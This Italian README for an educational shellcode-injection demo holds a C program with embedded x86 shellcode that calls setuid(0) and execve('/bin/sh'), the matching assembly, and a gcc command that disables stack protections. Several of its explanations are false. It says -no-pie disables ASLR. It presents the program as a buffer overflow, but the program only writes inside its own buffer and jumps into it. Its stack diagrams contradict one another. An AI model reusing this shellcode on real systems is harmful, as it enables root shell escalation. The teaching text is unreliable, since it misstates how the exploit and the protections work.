Questo progetto dimostra una tecnica di exploit nota come Shellcode Injection. L'obiettivo è eseguire del codice arbitrario (shellcode) sfruttando una vulnerabilità di buffer overflow in un programma C.
vuln.c
: Il programma vulnerabile scritto in C.build.sh
: Script di compilazione per costruire l'eseguibile vulnerabilevuln
.
Il file vuln.c
contiene un semplice programma C che è vulnerabile a un buffer overflow. Il programma include uno shellcode che lancia una shell /bin/sh
con privilegi di root.
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] = \
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
printf("Shellcode Length: %lu\n", strlen(shellcode));
char buffer[68];
memset(buffer, '\x90', sizeof(buffer));
memcpy(buffer, shellcode, strlen(shellcode));
unsigned int ret_addr = 0xffffcf20;
*((unsigned int*)(buffer + 64)) = ret_addr;
int (*ret)() = (int(*)())buffer;
ret();
return 0;
}
Il programma vuln.c definisce un buffer di 68 byte e copia il nostro shellcode all'interno di esso. Dopo aver riempito il buffer con il nostro shellcode, l'indirizzo di ritorno viene sovrascritto con un indirizzo specifico (in questo caso, 0xffffcf20). Poi, il programma esegue il contenuto del buffer come se fosse una funzione.
-
unsigned char shellcode[]
: Questa variabile contiene lo shellcode che esegue /bin/sh. -
char buffer[68]
: Definisce un buffer di 68 byte. -
memset(buffer, '\x90', sizeof(buffer))
: Riempie il buffer con istruzioni NOP (No Operation). Questo serve a creare un'area di sicurezza nel caso in cui l'indirizzo di ritorno non sia esattamente corretto. -
memcpy(buffer, shellcode, strlen(shellcode))
: Copia lo shellcode all'inizio del buffer. -
unsigned int ret_addr = 0xffffcf20
: Definisce l'indirizzo di ritorno che sovrascriverà l'indirizzo di ritorno originale sullo stack. Questo indirizzo dovrebbe puntare a una posizione all'interno del buffer contenente il nostro shellcode. -
*((unsigned int*)(buffer + 64)) = ret_addr
: Sovrascrive l'indirizzo di ritorno con ret_addr. -
int (*ret)() = (int(*)())buffer; ret();
: Definisce un puntatore a funzione che punta all'inizio del buffer ed esegue il codice in esso contenuto.
Il file build.sh
è uno script di shell per compilare il programma vulnerabile. Utilizza gcc con specifiche opzioni per disabilitare le protezioni di sicurezza come il canary stack e l'ASLR (Address Space Layout Randomization).
gcc -z execstack -fno-stack-protector -m32 -no-pie -o vuln vuln.c
-
-z execstack
: Permette l'esecuzione dello stack. Di default, lo stack non è eseguibile per prevenire attacchi come buffer overflow, quindi questa opzione è necessaria per eseguire il nostro shellcode dallo stack. -
-fno-stack-protector
: Disabilita il canary stack, una protezione che previene buffer overflow rilevando la corruzione del stack. -
-m32
: Compila il programma come un binario a 32 bit. -
-no-pie
: Disabilita l'Address Space Layout Randomization (ASLR), una tecnica di sicurezza che randomizza le posizioni di memoria delle regioni chiave del processo (come stack, heap, librerie, ecc.). Disabilitando ASLR, possiamo prevedere l'indirizzo di ritorno per il nostro exploit. -
-o vuln
: Specifica il nome del file di output generato dalla compilazione (in questo caso, vuln).
Lo shellcode è una sequenza di istruzioni in linguaggio macchina che esegue una specifica funzione. In questo caso, il nostro shellcode esegue una shell /bin/sh. Di seguito è riportato il codice assembly corrispondente al nostro shellcode:
section .text
global _start
_start:
xor eax, eax ; azzera eax
xor ebx, ebx ; azzera ebx
mov al, 0x17 ; setta eax a 0x17 (syscall per setuid)
int 0x80 ; invoca la syscall
jmp short call_shell ; salta alla sezione call_shell
code_start:
pop esi ; pop della stringa "/bin/sh" in esi
mov [esi+0x8], esi ; copia l'indirizzo della stringa in [esi+8]
xor eax, eax ; azzera eax
mov byte [esi+7], al ; setta il byte nullo alla fine della stringa
mov [esi+0xc], eax ; setta [esi+0xc] a 0
mov al, 0xb ; setta eax a 0xb (syscall per execve)
mov ebx, esi ; copia l'indirizzo della stringa in ebx
lea ecx, [esi+0x8] ; carica l'indirizzo dell'array di argomenti in ecx
lea edx, [esi+0xc] ; carica l'indirizzo dell'array di environment variables in edx
int 0x80 ; invoca la syscall
xor ebx, ebx ; azzera ebx
mov eax, ebx ; copia ebx in eax
inc eax ; incrementa eax (setta eax a 1)
int 0x80 ; invoca la syscall per exit
call_shell:
call code_start ; chiama code_start
.ascii "/bin/sh" ; stringa "/bin/sh"
Questo shellcode segue questi passaggi:
- Setta i registri
eax
eebx
a zero. - Invoca la syscall
setuid
per settare l'UID effettivo a 0 (root). - Salta a
call_shell
per posizionare l'indirizzo della stringa/bin/sh
sullo stack. - Copia la stringa
/bin/sh
inesi
. - Prepara gli argomenti per la syscall
execve
. - Invoca
execve
per eseguire/bin/sh
. - Se
execve
fallisce, invocaexit
.
Un buffer overflow si verifica quando più dati di quanti un buffer possa gestire vengono scritti in esso, sovrascrivendo la memoria adiacente. Questo pu`o portare a comportamenti imprevisti e potenzialmente sfruttabili. Quando un programma chiama una funzione, lo stack di chiamata viene utilizzato per memorizzare vari- abili locali, indirizzi di ritorno e altri dati. Durante un attacco di buffer overflow, un attaccante cerca di sovrascrivere l’indirizzo di ritorno per eseguire codice arbitrario. Vediamo come funziona questo attacco con una rappresentazione dello stack:
Indirizzi di memoria (alto -> basso):
0xffffcf30: [ Indirizzo di ritorno originale ]
0xffffcf2c: [ Frame Pointer (EBP) del chiamante ]
0xffffcf28: [ Variabili locali e spazio temporaneo ]
0xffffcf24: ...
0xffffcf20: ...
0xffffcf1c: ...
0xffffcf18: ...
0xffffcf14: ...
0xffffcf10: ...
0xffffcf0c: ...
0xffffcf08: ...
0xffffcf04: ...
0xffffcf00: ...
Indirizzi di memoria (alto -> basso):
0xffffcf30: 0xffffcf20 <- Indirizzo di ritorno sovrascritto
0xffffcf2c: [ Frame Pointer (EBP) del chiamante ]
0xffffcf28: 0x90 <- NOP sled
0xffffcf24: 0x90 <- NOP sled
0xffffcf20: 0x90 <- NOP sled
0xffffcf1c: ...
0xffffcf18: ...
0xffffcf14: ...
0xffffcf10: [ shellcode ]
0xffffcf0c: [ shellcode ]
0xffffcf08: [ shellcode ]
0xffffcf04: [ shellcode ]
0xffffcf00: ...
Il buffer di 68 byte conterrà:
- I primi 64 byte sono NOP (\x90) e il codice shell.
- Gli ultimi 4 byte sono l'indirizzo di ritorno sovrascritto (0xffffcf20). Più in dettaglio, la memoria sarà riempita come segue:
Indirizzi di memoria (alto -> basso):
0xffffcf44: [ Dati aggiuntivi / Non utilizzati ]
0xffffcf40: 0xffffcf20 <- Indirizzo di ritorno sovrascritto
0xffffcf3c: 0x90 <- NOP sled
0xffffcf38: 0x90 <- NOP sled
0xffffcf34: 0x90 <- NOP sled
0xffffcf30: 0x90 <- NOP sled
0xffffcf2c: 0x90 <- NOP sled
0xffffcf28: 0x90 <- NOP sled
0xffffcf24: 0x90 <- NOP sled
0xffffcf20: 0x90 <- NOP sled
0xffffcf1c: 0x31 <- shellcode (start)
0xffffcf18: 0xc0 <- shellcode
0xffffcf14: 0x31 <- shellcode
0xffffcf10: 0xdb <- shellcode
0xffffcf0c: 0xb0 <- shellcode
0xffffcf08: 0x17 <- shellcode
0xffffcf04: 0xcd <- shellcode
0xffffcf00: 0x80 <- shellcode
...
Quando il programma sovrascrive l'indirizzo di ritorno, esso punta all'inizio del buffer, il quale contiene NOP sled seguito dal codice shell. Questo permette al programma di eseguire il codice shell iniettato, sfruttando il buffer overflow per eseguire l'attacco.
Per eseguire il progetto, seguire i passaggi seguenti:
- Assicurati di avere installato GCC con il supporto per la compilazione a 32 bit. Su un sistema Debian/Ubuntu, puoi installare i pacchetti necessari con:
sudo apt-get install gcc-multilib g++-multilib
- Compila il programma eseguendo lo script build.sh:
./build.sh
- Esegui il programma compilato:
./vuln
Questo progetto è puramente educativo e dimostra tecniche di exploit che non dovrebbero essere utilizzate in ambienti di produzione. Utilizzare queste tecniche in modo responsabile e solo in ambienti controllati per fini di studio e ricerca.
Progetto sviluppato da Federico Fiorelli.